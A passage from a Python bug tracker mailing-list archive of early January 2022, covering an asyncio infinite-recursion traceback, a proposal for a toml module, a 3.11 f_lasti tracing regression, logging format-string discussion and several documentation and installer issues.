"/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 51 in _repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 61 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 51 in _repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 61 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source ``` the code cause problem is as following: ``` class TestSyncJobs(unittest.IsolatedAsyncioTestCase): async def asyncSetUp(self) -> None: init_test_env() await emit.start(engine=emit.Engine.REDIS, dsn=cfg.redis.dsn, start_server=True, heart_beat=1) await self.create_quotes_fetcher() # if we add the following line, the issue will gone # await asyncio.sleep(0.01) await omicron.init(aq) ``` sorry the code is not runnable. If you need more info, please tell us what and how to collect. or if you would like to reproduce the issue by yourself, please try this branch: https://github.com/zillionare/omega/tree/zillionare/issue46 ---------- messages: 409487 nosy: zillionare priority: normal severity: normal status: open title: asyncio cause infinite loop during debug type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 00:58:27 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 02 Jan 2022 05:58:27 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641103107.09.0.300729983092.issue46142@roundup.psfhosted.org> Change by ?ric Araujo : ---------- keywords: +patch pull_requests: +28546 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30331 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 01:22:32 2022 From: report at bugs.python.org (Shantanu) Date: Sun, 02 Jan 2022 06:22:32 +0000 Subject: [issue40059] Provide a toml module in the standard library In-Reply-To: <1585119261.47.0.818238682424.issue40059@roundup.psfhosted.org> Message-ID: <1641104552.54.0.293940214377.issue40059@roundup.psfhosted.org> Shantanu added the comment: > You will need to address where the code is coming from, why that code should be used, what's the API, etc. Happy new year, potentially-toml-wanting friends! I wrote up a draft of a proposal here: https://gist.github.com/hauntsaninja/9f136a5a60f63d8ca2cdfadb50edba44 I've passed it along to hukkin (author of tomli) for feedback. Once they reply, I'll send it to python-dev and the deluge of comments can get underway. If in the meantime anyone else has thoughts, I'd love to hear from you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 02:04:17 2022 From: report at bugs.python.org (Shantanu) Date: Sun, 02 Jan 2022 07:04:17 +0000 Subject: [issue40059] Provide a toml module in the standard library In-Reply-To: <1585119261.47.0.818238682424.issue40059@roundup.psfhosted.org> Message-ID: <1641107057.88.0.593453597139.issue40059@roundup.psfhosted.org> Shantanu added the comment: pradyunsg kindly pointed me to an ongoing thread in Packaging discuss: https://discuss.python.org/t/adopting-recommending-a-toml-parser/4068/84 So seems like a PEP will be necessary. I'm happy to do legwork for that. (The PEP that I'll write differs from YakoYakoYokuYoku's json-esque draft in that it'll be based on tomli instead of a from-scratch implementation) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 02:07:56 2022 From: report at bugs.python.org (Roundup Robot) Date: Sun, 02 Jan 2022 07:07:56 +0000 Subject: [issue26571] turtle regression in 3.5 In-Reply-To: <1458104355.45.0.620158354917.issue26571@psf.upfronthosting.co.za> Message-ID: <1641107276.74.0.353359739239.issue26571@roundup.psfhosted.org> Change by Roundup Robot : ---------- nosy: +python-dev nosy_count: 5.0 -> 6.0 pull_requests: +28547 pull_request: https://github.com/python/cpython/pull/30332 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 03:46:54 2022 From: report at bugs.python.org (Sardorbek Imomaliev) Date: Sun, 02 Jan 2022 08:46:54 +0000 Subject: [issue46224] doc: Fix bisect example using mutable function default Message-ID: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org> New submission from Sardorbek Imomaliev : Currently, in `bisect` examples `grade` function is declared with mutable default for `breakpoints` arugment. I suggest updating. https://github.com/sweeneyde commented > I would say that even though using mutable defaults is often undesirable, there is no problem with it in this case: the body of the function does not mutate the default. It's also probably faster than re-constructing a new list at each function call. I would suggest opening an issue on https://bugs.python.org/ if you want to discuss more. I agree that in this case it wouldn't matter because `breakpoints` are not mutated, but most of the time people copy from examples and adapt the code to their needs without giving it a second thought. In my opinion, it is a good practice to provide examples as foolproof as possible. ---------- assignee: docs at python components: Documentation messages: 409490 nosy: docs at python, imomaliev priority: normal pull_requests: 28548 severity: normal status: open title: doc: Fix bisect example using mutable function default type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 04:05:33 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 02 Jan 2022 09:05:33 +0000 Subject: [issue46224] doc: Fix bisect example using mutable function default In-Reply-To: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org> Message-ID: <1641114333.93.0.269637982962.issue46224@roundup.psfhosted.org> Change by Alex Waygood : ---------- keywords: +patch stage: -> patch review versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 04:34:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 02 Jan 2022 09:34:37 +0000 Subject: [issue45615] Missing test for type of error when printing traceback for non-exception In-Reply-To: <1635261430.95.0.190322958386.issue45615@roundup.psfhosted.org> Message-ID: <1641116077.35.0.496828501046.issue45615@roundup.psfhosted.org> Irit Katriel added the comment: New changeset a82baed0e9e61c0d8dc5c12fc08de7fc172c1a38 by Irit Katriel in branch 'main': bpo-45615: Add missing test for printing traceback for non-exception. Fix traceback.py (GH-30091) https://github.com/python/cpython/commit/a82baed0e9e61c0d8dc5c12fc08de7fc172c1a38 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 04:36:17 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 02 Jan 2022 09:36:17 +0000 Subject: [issue45615] Missing test for type of error when printing traceback for non-exception In-Reply-To: <1635261430.95.0.190322958386.issue45615@roundup.psfhosted.org> Message-ID: <1641116177.7.0.750043497243.issue45615@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 05:57:19 2022 From: report at bugs.python.org (=?utf-8?b?TMOhc3psw7MgQXR0aWxhIFTDs3Ro?=) Date: Sun, 02 Jan 2022 10:57:19 +0000 Subject: [issue46057] argparse: embedded groups may prevent options from being in help output In-Reply-To: <1639320798.63.0.0421812802369.issue46057@roundup.psfhosted.org> Message-ID: <1641121039.61.0.323412644794.issue46057@roundup.psfhosted.org> L?szl? Attila T?th added the comment: I don't think I'm adventurous as I try to use its public API. If something is public in the pythonic terms (no underscore before it), but undocumented, that can obviously mean two things: either the documentation is outdated or the API published something it shouldn't. As I wrote in issue 46058 - which is the same issue as this because of the implementation in argparse.py - I tried to create a group hierarchy in a way that I can pass the responsibility of argument validation to the argument parser. I don't think the good practice is to reimplement the same behavior again and again in dozens of Python programs if it is something that could be handled in an argument parser. My original intent was to provide patch or patches fixing the issue but with the deprecation in issue 22047 this became pointless. There were a few other opened issues indicating I'm not alone with this expectation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 06:04:14 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 02 Jan 2022 11:04:14 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.1 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1641121454.97.0.686628327013.issue45925@roundup.psfhosted.org> Erlend E. Aasland added the comment: SQLite 3.37.1 appeared the day before New Years Eve. So let us wait until the end of January before upgrading the installers. https://www.sqlite.org/releaselog/3_37_1.html ---------- title: Upgrade macOS and Windows installers to use SQLite 3.37.0 -> Upgrade macOS and Windows installers to use SQLite 3.37.1 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 06:30:40 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 02 Jan 2022 11:30:40 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1641123040.76.0.0947942922928.issue24905@roundup.psfhosted.org> Erlend E. Aasland added the comment: FYI, I'm maintaining a rebased version on my fork: https://github.com/erlend-aasland/cpython/tree/sqlite-blob Here's the changes I've applied upon PR 271: - Use Argument Clinic - Convert to heap types - Adopt new CPython C APIs (Py_NewRef, Py_Is*, new slice API, etc.) - Lint code (PEP 7, use CPython idioms, normalise variable and helper namings) - Lint docs - Normalise error messages - Refactor very large functions, apply simplifications, and remove unneeded code - Expand test suite to increase code coverage I don't think it is ready for inclusion yet; the test suite needs to be restructured, or maybe rewritten from scratch. Pr. now most of the tests maintain a single connection with a prepared database. IMO, it's a fragile design and it is hard to read, debug, and verify the test code. I'll see if I can get to it in a couple of weeks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 07:37:04 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Sun, 02 Jan 2022 12:37:04 +0000 Subject: [issue46200] Discourage logging f-strings due to security considerations In-Reply-To: <1640850255.25.0.496981368409.issue46200@roundup.psfhosted.org> Message-ID: <1641127024.47.0.123886804106.issue46200@roundup.psfhosted.org> Arie Bovenberg added the comment: I've done some more digging, and have read the related issue bpo-30995. There are IMHO two challenges that are worth tackling: 1. A great number[1] of developers do their own string formatting. This is sub-optimal for performance and - in rare cases - leaves them potentially vulnerable to attack (DoS through a string formatting attack). We cannot prohibit this without breaking backwards compatibility: https://docs.python.org/3/howto/logging.html#using-arbitrary-objects-as-messages. 2. The logging cookbook has several mechanisms for new-style formatting, but because these do not ship with the stdlib, the vast majority[2] of programmers don't use them. We can solve both issues with a new family of `Logger` methods. The debug one shown below: def debugf(self, msg: Literal[str], *args, exc_info=False, **kwargs): """ Log 'msg.format(*args, **kwargs)' with severity 'DEBUG'. To pass exception information, use the keyword argument exc_info with a true value, e.g. logger.debugf("Houston, we have a {}", "thorny problem", exc_info=1) """ if self.isEnabledFor(DEBUG): # `BraceMessage` from the logging cookbook. self._log(DEBUG, BraceMessage(msg, args, kwargs), exc_info=exc_info) Advantages of this approach: - It's mostly the existing work of @vinay.sajip. It's Idiomatic and proven to work. - No change to existing methods or loggers. Fully backwards compatible. - Protection against string formatting attack at the type level (thanks to PEP675). Everyone with an IDE will get warned about unsafe use. - Embed correct use of log formatting at type level. - People will stop complaining about the `%`-style, now that there is an easy way to use new-style formatting in the stdlib. The disadvantage of course is an extra set of logging methods. However: - An `f` suffix for string formatting operations is common (e.g. `printf`) - It's visually similar to f-strings, thus straightforward to comprehend. Compare `debug(f"hello ...` and `debugf("hello ...`. - It's explicit. The method logs _and_ formats. Sources: [1] On GitHub code search, `logger` gets 8M results. `logger` `format` gets almost 4M results, of which about half are actually instances of logging `.format()` strings. f-strings are not even included in this search, and probably used very frequently as well. (https://github.com/search?l=Python&p=2&q=logger+format&type=Code) [2] There are <1000 instances of `StyleAdapter`, `BraceMessage` in GitHub code search, while `getLogger` gets almost 5M results. (https://github.com/search?l=Python&q=bracemessage&type=Code) (https://github.com/search?l=Python&q=styleadapter&type=Code) (https://github.com/search?l=Python&q=getlogger&type=Code) ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 07:53:38 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 02 Jan 2022 12:53:38 +0000 Subject: [issue46200] Discourage logging f-strings due to security considerations In-Reply-To: <1640850255.25.0.496981368409.issue46200@roundup.psfhosted.org> Message-ID: <1641128018.43.0.134319095737.issue46200@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 08:45:09 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 02 Jan 2022 13:45:09 +0000 Subject: [issue46225] f_lasti behaves differently for lambdas returned from loops Message-ID: <1641131109.09.0.64467004573.issue46225@roundup.psfhosted.org> New submission from Ned Batchelder : Python 3.11.0a3 changed how f_lasti behaves when calling a function in some situations. This example shows returning a lambda from a function. If the lambda is returned in a loop, then frame.f_lasti is 0 when it is called. If the lambda is not in a loop, then f_lasti is -1, as is usual when calling a function. This behavior first appeared in 3.11.0a3. ---< showit.py >-------------------------------------------------- import linecache, sys def trace(frame, event, arg): # The weird globals here is to avoid a NameError on shutdown... if frame.f_code.co_filename == globals().get("__file__"): if event != "line": lineno = frame.f_lineno lasti = f"lasti {frame.f_lasti}" if event == "call" else "" line = linecache.getline(__file__, lineno).rstrip() print("{} {} {:10}: {}".format(event[:4], lineno, lasti, line)) return trace print(sys.version) sys.settrace(trace) def run1(): for i in range(1): return lambda: i def run2(): return lambda: 99 f = run1() print(f()) f = run2() print(f()) ------------------------------------------------------------------ Here are 3.10, 3.11.0a2, 3.11.0a3, and the tip of 3.11. The changing line is marked with <<<<<: $ python3.10 showit.py 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] call 16 lasti -1 : def run1(): retu 18 : return lambda: i call 18 lasti -1 : return lambda: i <<<<< retu 18 : return lambda: i 0 call 20 lasti -1 : def run2(): retu 21 : return lambda: 99 call 21 lasti -1 : return lambda: 99 retu 21 : return lambda: 99 99 $ /usr/local/pyenv/pyenv/versions/3.11.0a2/bin/python3.11 showit.py 3.11.0a2 (main, Nov 6 2021, 07:16:30) [Clang 12.0.0 (clang-1200.0.32.29)] call 16 lasti -1 : def run1(): retu 18 : return lambda: i call 18 lasti -1 : return lambda: i <<<<< retu 18 : return lambda: i 0 call 20 lasti -1 : def run2(): retu 21 : return lambda: 99 call 21 lasti -1 : return lambda: 99 retu 21 : return lambda: 99 99 $ /usr/local/pyenv/pyenv/versions/3.11.0a3/bin/python3.11 showit.py 3.11.0a3 (main, Dec 9 2021, 12:22:18) [Clang 12.0.0 (clang-1200.0.32.29)] call 16 lasti -1 : def run1(): retu 18 : return lambda: i call 18 lasti 0 : return lambda: i <<<<< retu 18 : return lambda: i 0 call 20 lasti -1 : def run2(): retu 21 : return lambda: 99 call 21 lasti -1 : return lambda: 99 retu 21 : return lambda: 99 99 $ /usr/local/cpython/bin/python3 showit.py 3.11.0a3+ (heads/main:a82baed0e9, Jan 2 2022, 08:12:01) [Clang 12.0.0 (clang-1200.0.32.29)] call 16 lasti -1 : def run1(): retu 18 : return lambda: i call 18 lasti 0 : return lambda: i <<<<< retu 18 : return lambda: i 0 call 20 lasti -1 : def run2(): retu 21 : return lambda: 99 call 21 lasti -1 : return lambda: 99 retu 21 : return lambda: 99 99 ---------- keywords: 3.11regression messages: 409496 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: f_lasti behaves differently for lambdas returned from loops versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 08:54:56 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 02 Jan 2022 13:54:56 +0000 Subject: [issue46225] f_lasti behaves differently for lambdas returned from loops In-Reply-To: <1641131109.09.0.64467004573.issue46225@roundup.psfhosted.org> Message-ID: <1641131696.56.0.362382469809.issue46225@roundup.psfhosted.org> Ned Batchelder added the comment: Also, this only happens with a Python trace function. With a C trace function, pPyFrameObject->f_frame->f_lasti is -1. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 09:46:27 2022 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sun, 02 Jan 2022 14:46:27 +0000 Subject: [issue46219] except* assumes that an exception group is truthy In-Reply-To: <1641033767.24.0.115105620821.issue46219@roundup.psfhosted.org> Message-ID: <1641134787.69.0.478458531487.issue46219@roundup.psfhosted.org> Vedran ?a?i? added the comment: A long time ago, Python documentation used true and false as adjectives (as opposed to True and False, which are proper names for canonical true/false objects). I think it was BDFL's preference back then. In the meantime, I suppose through JS's influence, Python documentation started to adopt ancient Perl terminology, where truhy and falsy were used as adjectives standing for what was previously known as true and false. I really don't like it, and I think English language is clear enough here (given the help of code font and capital letter) that we don't need to invent new words. Of course, it is up to the community to decide (and maybe the steering council might issue an opinion), but I'm telling you the history and my preference. ---------- nosy: +veky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 10:21:49 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 02 Jan 2022 15:21:49 +0000 Subject: [issue46200] Discourage logging f-strings due to security considerations In-Reply-To: <1640850255.25.0.496981368409.issue46200@roundup.psfhosted.org> Message-ID: <1641136909.43.0.0570913162357.issue46200@roundup.psfhosted.org> Eric V. Smith added the comment: I think there's definitely room for improvement here, and at face value I like the debugf() functions. __format__ style formatting solves a big problem for me: being able to provide format strings for timestamps. One thing: I'd be careful about saying that delayed formatting is always a performance win. f-strings are so much faster, that if I'm reasonable sure a message is always going to get logged, I'll use an f-string. In my case, I never log any user-supplied data, although it's obviously a risk that should be warned against. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 10:51:20 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sun, 02 Jan 2022 15:51:20 +0000 Subject: [issue46224] doc: Fix bisect example using mutable function default In-Reply-To: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org> Message-ID: <1641138680.56.0.236566879596.issue46224@roundup.psfhosted.org> Dennis Sweeney added the comment: Another option would be to use globals: >>> BREAKPOINTS = [60, 70, 80, 90] >>> GRADES = "FDCBA" >>> def grade(score): ... i = bisect(BREAKPOINTS, score) ... return GRADES[i] ... >>> [grade(score) for score in [33, 99, 77, 70, 89, 90, 100]] ['F', 'A', 'C', 'C', 'B', 'A', 'A'] ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 10:51:25 2022 From: report at bugs.python.org (Nikita Kniazev) Date: Sun, 02 Jan 2022 15:51:25 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641138685.41.0.235180419322.issue46110@roundup.psfhosted.org> Nikita Kniazev added the comment: > I made a draft PR here: > > https://github.com/python/cpython/pull/30177 > > to fix the issue. But we should benchmark and evaluate it before deciding anything. It seems that the PR was merged without discussion about 85% regression in python_startup benchmark. https://speed.python.org/timeline/?ben=python_startup https://speed.python.org/changes/?rev=e9898bf153 ---------- nosy: +Kojoley _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 11:21:47 2022 From: report at bugs.python.org (Sardorbek Imomaliev) Date: Sun, 02 Jan 2022 16:21:47 +0000 Subject: [issue46224] doc: Fix bisect example using mutable function default In-Reply-To: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org> Message-ID: <1641140507.48.0.19647934566.issue46224@roundup.psfhosted.org> Sardorbek Imomaliev added the comment: It was changed from that in 2010 https://github.com/python/cpython/commit/20933e08b12b4e66c6e1baf662a679b4008d9dce ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 11:22:40 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sun, 02 Jan 2022 16:22:40 +0000 Subject: [issue46224] doc: Fix bisect example using mutable function default In-Reply-To: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org> Message-ID: <1641140560.96.0.688569517623.issue46224@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 11:38:38 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 02 Jan 2022 16:38:38 +0000 Subject: [issue46020] Optimize long_pow for the common case In-Reply-To: <1639031543.32.0.0830001202943.issue46020@roundup.psfhosted.org> Message-ID: <1641141518.83.0.610369260323.issue46020@roundup.psfhosted.org> Change by Mark Dickinson : ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 11:52:04 2022 From: report at bugs.python.org (Mariatta) Date: Sun, 02 Jan 2022 16:52:04 +0000 Subject: =?utf-8?q?=5Bissue45903=5D_What=E2=80=99s_New_In_Python_3=2E11=3A_wrong_r?= =?utf-8?q?eference_to_Signature=2Efrom=5Fcallable?= In-Reply-To: <1637937792.91.0.161252797195.issue45903@roundup.psfhosted.org> Message-ID: <1641142324.58.0.948648381952.issue45903@roundup.psfhosted.org> Mariatta added the comment: New changeset 7a8796dc67d691e43eed69969e7706fefe0f16e9 by Hugo van Kemenade in branch 'main': bpo-45903: Fix typo in What's New: Signature.from_builtin is removed (GH-29813) https://github.com/python/cpython/commit/7a8796dc67d691e43eed69969e7706fefe0f16e9 ---------- nosy: +Mariatta _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 11:54:21 2022 From: report at bugs.python.org (Mariatta) Date: Sun, 02 Jan 2022 16:54:21 +0000 Subject: =?utf-8?q?=5Bissue45903=5D_What=E2=80=99s_New_In_Python_3=2E11=3A_wrong_r?= =?utf-8?q?eference_to_Signature=2Efrom=5Fcallable?= In-Reply-To: <1637937792.91.0.161252797195.issue45903@roundup.psfhosted.org> Message-ID: <1641142461.8.0.683906810807.issue45903@roundup.psfhosted.org> Mariatta added the comment: Thanks Jakub for reporting the issue, and thanks Hugo for the PR. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 11:58:01 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Sun, 02 Jan 2022 16:58:01 +0000 Subject: [issue46200] Discourage logging f-strings due to security considerations In-Reply-To: <1640850255.25.0.496981368409.issue46200@roundup.psfhosted.org> Message-ID: <1641142681.95.0.761280913923.issue46200@roundup.psfhosted.org> Arie Bovenberg added the comment: Indeed the `__format__` style offers a lot more options (see https://pyformat.info/). Regarding performance you make an interesting point. One possible solution is to allow f-strings _only_ if there are no args/kwargs. In that one case formatting would explicitly be skipped. This could be represented at type-level with an overload: # case: Logger does formatting. Only literal string template allowed. @overload def debugf(msg: Literal[str], *args, exc_info: bool = False, **kwargs): # wrap # case: User does formatting. No args/kwargs allowed. @overload def debugf(msg: str, *, exc_info: bool = False): # wrap `msg` in something that will not allow further formatting. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 12:05:33 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Sun, 02 Jan 2022 17:05:33 +0000 Subject: [issue46208] os.path.normpath change between 3.11.0a2 and 3.11.0a3+ In-Reply-To: <1640893110.04.0.882099438605.issue46208@roundup.psfhosted.org> Message-ID: <1641143133.81.0.837669762209.issue46208@roundup.psfhosted.org> Hugo van Kemenade added the comment: Here's a branch with a passing ntpath.normpath test and a failing posixpath.normpath test: https://github.com/hugovk/cpython/tree/issue-46208-tests https://github.com/hugovk/cpython/commit/d7e8da179adce51a8f63d2dbd062a272dda826bc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 12:13:08 2022 From: report at bugs.python.org (Aleksandr Krymskiy) Date: Sun, 02 Jan 2022 17:13:08 +0000 Subject: [issue46226] User specific paths added to System PATH environment variable Message-ID: <1641143588.09.0.0658438943586.issue46226@roundup.psfhosted.org> New submission from Aleksandr Krymskiy : Installed Python 3.10.1 using Windows 64-bit installer from python.org. Upon examining the PATH environment variables I noticed that my local user paths (C:\Users\avk\AppData\...) have been added to the System-level PATH variable instead of User level, which can cause problems on multi-user systems, since users other than mine will now have these paths in their environment causing them to potentially try to execute code from unexpected location that they should not even have access too. User paths should be added to User specific PATH environment variable and only global (C:\Program Files\Python310\...) kept in the System scope by the installer. Please see my screenshot - the highlighted should be moved to User scoped PATH var. ---------- components: Installation files: py_paths.png messages: 409507 nosy: akrymskiy priority: normal severity: normal status: open title: User specific paths added to System PATH environment variable type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50535/py_paths.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 13:26:35 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 02 Jan 2022 18:26:35 +0000 Subject: [issue46184] Remove `netlify.toml`? In-Reply-To: <1640556026.15.0.409778819422.issue46184@roundup.psfhosted.org> Message-ID: <1641147995.86.0.32733948851.issue46184@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 13:27:08 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 02 Jan 2022 18:27:08 +0000 Subject: [issue46178] Remove `.travis.yml`? In-Reply-To: <1640511273.57.0.0109670921395.issue46178@roundup.psfhosted.org> Message-ID: <1641148028.97.0.0357485566941.issue46178@roundup.psfhosted.org> Nikita Sobolev added the comment: Thanks everyone! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 13:33:28 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 02 Jan 2022 18:33:28 +0000 Subject: [issue46196] documentation for cmd library should include columnize() function In-Reply-To: <1640817357.67.0.539360584483.issue46196@roundup.psfhosted.org> Message-ID: <1641148408.13.0.788414868636.issue46196@roundup.psfhosted.org> ?ric Araujo added the comment: New changeset ce4d25f3cd0a1c6e65b64015140fb5e1397c8ac5 by Nikita Sobolev in branch 'main': bpo-46196: document method cmd.Cmd.columnize (#30303) https://github.com/python/cpython/commit/ce4d25f3cd0a1c6e65b64015140fb5e1397c8ac5 ---------- 